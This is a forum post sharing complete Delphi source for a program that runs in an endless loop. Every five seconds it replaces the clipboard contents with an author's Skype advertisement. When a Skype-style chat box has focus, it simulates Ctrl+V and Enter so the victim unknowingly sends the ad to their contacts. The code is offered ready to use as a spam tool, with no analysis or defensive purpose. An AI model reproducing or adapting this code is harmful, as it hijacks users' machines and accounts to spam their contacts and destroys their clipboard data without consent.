you2004975 Posted July 20, 2014 Share Posted July 20, 2014 (edited) [HIDE-THANKS][LENGUAJE=Delphi]program Motaz; // Mr.Motaz معتزشويه {$APPTYPE CONSOLE} uses Windows,Messages; function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; assembler; asm PUSH EDI PUSH ESI PUSH EBX MOV ESI,EAX MOV EDI,EDX MOV EBX,ECX XOR AL,AL TEST ECX,ECX JZ @@1 REPNE SCASB JNE @@1 INC ECX @@1: SUB EBX,ECX MOV EDI,ESI MOV ESI,EDX MOV EDX,EDI MOV ECX,EBX SHR ECX,2 REP MOVSD MOV ECX,EBX AND ECX,3 REP MOVSB STOSB MOV EAX,EDX POP EBX POP ESI POP EDI end; function StrPCopy(Dest: PChar; const Source: string): PChar; begin Result := StrLCopy(Dest, PChar(Source), Length(Source)); end; Procedure ModifyClipboardData(MyString : String); VAR DataHan : THandle; P : Pointer; Begin OpenClipboard(0); EmptyClipboard; DataHan := GlobalAlloc(GHND, Length(MyString)+ 1); P := GlobalLock(DataHan); StrPCopy(P, MyString); GlobalUnlock(DataHan); Windows.SetClipboardData(CF_TEXT, DataHan); CloseClipboard; End; Function StrToInt(Data : string) : Integer; Begin Val(Data,Result,Result); end; VAR TInfo : TAGGUITHREADINFO; Buffer : String; iDelay : Integer; sMessage :String; begin sMessage := 'Skype : Mr.Motaz94 '; iDelay := 5000; IF iDelay=0 Then iDelay:=10000; IF lstrlenA(PAnsiChar(sMessage))<1 then ExitProcess(0); While True Do Begin ModifyClipboardData(sMessage); ZeroMemory(@TInfo,SizeOf(TInfo)); TInfo.cbSize := SizeOf(TAGGUITHREADINFO); Windows.GetGUIThreadInfo(0,TInfo); SetLength(Buffer, 255); GetClassNameA(TInfo.hwndFocus, PAnsiChar(Buffer), 255); IF Copy(Buffer,1,Length('TChatRichEdit'))='TChatRichEdit' then Begin keybd_event(VK_CONTROL,0,0,0); keybd_event(ord('V'),0,0,0); keybd_event(ord('V'),0,KEYEVENTF_KEYUP,0); keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0); keybd_event(VK_RETURN,0,0,0); keybd_event(VK_RETURN,0,KEYEVENTF_KEYUP,0); end; Sleep(5000); End; ExitProcess(0); end.[/LENGUAJE][/HIDE-THANKS] Edited July 20, 2014 by you2004975 Link to comment Share on other sites More sharing options...
Recommended Posts